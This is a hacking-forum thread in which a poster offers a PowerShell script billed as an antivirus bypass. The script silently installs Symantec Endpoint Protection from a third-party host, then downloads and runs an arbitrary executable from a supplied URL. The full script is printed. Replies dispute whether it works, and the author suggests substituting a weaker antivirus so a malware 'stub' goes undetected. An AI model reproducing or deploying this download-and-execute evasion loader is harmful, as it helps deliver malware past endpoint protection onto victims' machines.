

Forum:[Hack Forums](#)

Thread: [Bypass any anti-virus using this PowerShell script - Youre welcome!](#)

TheCowardlyDog - May 1, 2026, 1:20 pm

Introducing TheCowardlyDog-Bypass.ps1

What does it do?

This downloads and installs Symantec Endpoint Protection (SEP 14) and the downloads and executes your file (which is passed as argument to the PowerShell script).

Why does it work?

Windows Security is really dumb, it only allows one antivirus to protect the computer at any given time, and it uses the most recently installed, so (face palm time!) if the anti-virus installed doesn't detect what the script downloads next, it bypasses EVERY anti-virus.

I actually tried reporting this to Microsoft, they said it wasn't a vulnerability, so here you go HF - Hi Microsoft!

I made this script because I made another thread explaining it and everyone treated me like shit.

You're looking at the most powerful, simplest exploit to ever exist.

Usage: .\TheCowardlyDog-Bypass.ps1 -Url <https://yourdomain.com/file.exe>

0/62 detections on VirusTotal:

<https://www.virustotal.com/gui/file/0e218c088c780da0105b61f436bcc49807b2bfd1c6fc3af84b272c8d8932f0f9/summary>

Quote:# TheCowardlyDog-Bypass.ps1

Run as Administrator

Made by TheCowardlyDog (HF /member.php?action=profile&uid=5750403)

Microsoft won't patch this, I tried submitting it to them, they said it wasn't a vulnerability, well, here you go HF.

This works with any anti-virus that has silent/quiet and doesn't show itself (Symantec is best).

param(

[string]\$ZipUrl =

"https://is5.arfiles.net/Symantec%20Endpoint%20Protection%2014.3.11213.9000%20(x64).zip",

[string]\$ZipPath = "\$env:TEMP\Symantec.zip",

[string]\$ExtractPath = "\$env:TEMP\SymantecFolder",

[string]\$LogPath = "\$env:TEMP\symantec-install.log",

[Parameter(Mandatory=\$false)]

```

    [string]$Url
)

$ErrorActionPreference = "Stop"

function Assert-Admin {
    $id = [Security.Principal.WindowsIdentity]::GetCurrent()
    $principal = New-Object Security.Principal.WindowsPrincipal($id)
    if (-not $principal.IsInRole([Security.Principal.WindowsBuiltInRole]::Administrator)) {
        throw "Run this script as Administrator."
    }
}

function Download-File {
    param($Url, $OutFile)
    Write-Host "Downloading from $Url ..." -ForegroundColor Cyan
    Invoke-WebRequest -Uri $Url -OutFile $OutFile -UseBasicParsing -TimeoutSec 600
    if (-not (Test-Path $OutFile)) { throw "Download failed." }
}

try {
    Assert-Admin

    if (Test-Path $ExtractPath) { Remove-Item $ExtractPath -Recurse -Force -ErrorAction SilentlyContinue }

    Download-File -Url $ZipUrl -OutFile $ZipPath

    Write-Host "Extracting ZIP file..." -ForegroundColor Cyan
    Expand-Archive -Path $ZipPath -DestinationPath $ExtractPath -Force

    $msiPath = Get-ChildItem -Path $ExtractPath -Filter "Sep64.msi" -Recurse | Select-Object -ExpandProperty FullName -First 1

    if (-not $msiPath) {
        throw "Could not find Sep64.msi inside the extracted folder."
    }

    Write-Host "Verifying digital signature of MSI..."
    $sig = Get-AuthenticodeSignature -FilePath $msiPath
    if ($sig.Status -ne "Valid" -or $sig.SignerCertificate.Subject -notmatch "Broadcom|Symantec") {
        throw "Security Warning: The installer is not officially signed by Symantec/Broadcom.
Aborting."
    }

    Write-Host "Starting silent MSI install..." -ForegroundColor Cyan
    $installProcess = Start-Process "msiexec.exe" `
        -ArgumentList "/i `"$msiPath`" /qn /norestart /L*V `"$LogPath`"" `
        -Wait `
        -PassThru

    Write-Host "Symantec installation finished with Exit Code: $($installProcess.ExitCode)"
}

```

```

if (-not [string]::IsNullOrEmpty($Url)) {
    Write-Host "Waiting 30 seconds before second download..." -ForegroundColor Yellow
    Start-Sleep -Seconds 30

    $fileName = Split-Path $Url -Leaf
    if (-not $fileName) { $fileName = "second_file.exe" }
    $outputPath = Join-Path -Path $env:TEMP -ChildPath $fileName

    Download-File -Url $Url -OutFile $outputPath
    Write-Host "Executing: $outputPath" -ForegroundColor Green
    Start-Process $outputPath
}

} catch {
    Write-Error "An error occurred: $($_.Exception.Message)"
    exit 1
} finally {
    if (Test-Path $ZipPath) { Remove-Item $ZipPath -Force -ErrorAction SilentlyContinue }
}

```

Enjoy! I take no responsibility for your actions! This is a simple trick and a short script.

DramaKing - May 1, 2026, 5:05 pm

Of course Microsoft said that it wasn't a vulnerability. This just installs Symantec Endpoint Protection and nothing else. It also requires elevation, meaning that there's a security boundary. Symantec DOES detect malware. At best, this causes the PC to rely only on Symantec's real-time protection.

TheCowardlyDog - May 3, 2026, 12:47 pm

Sorry guys, I fucked up here, Symantec is one of the hardest cunts I've ever dealt with, I picked it because there's no sign of the antivirus (no icon, no notifications) but the runtime detection capabilities of it are hard as fuck.

It still works it's just you'll have to pick a shittier antivirus to auto-install quietly that doesn't detect your stub.

Dread_xd - May 12, 2026, 2:33 pm

I still dont know why youre getting so much hate
 This is bassicly just a (shitty) tamper protection bypass
 Still more or less works tho so...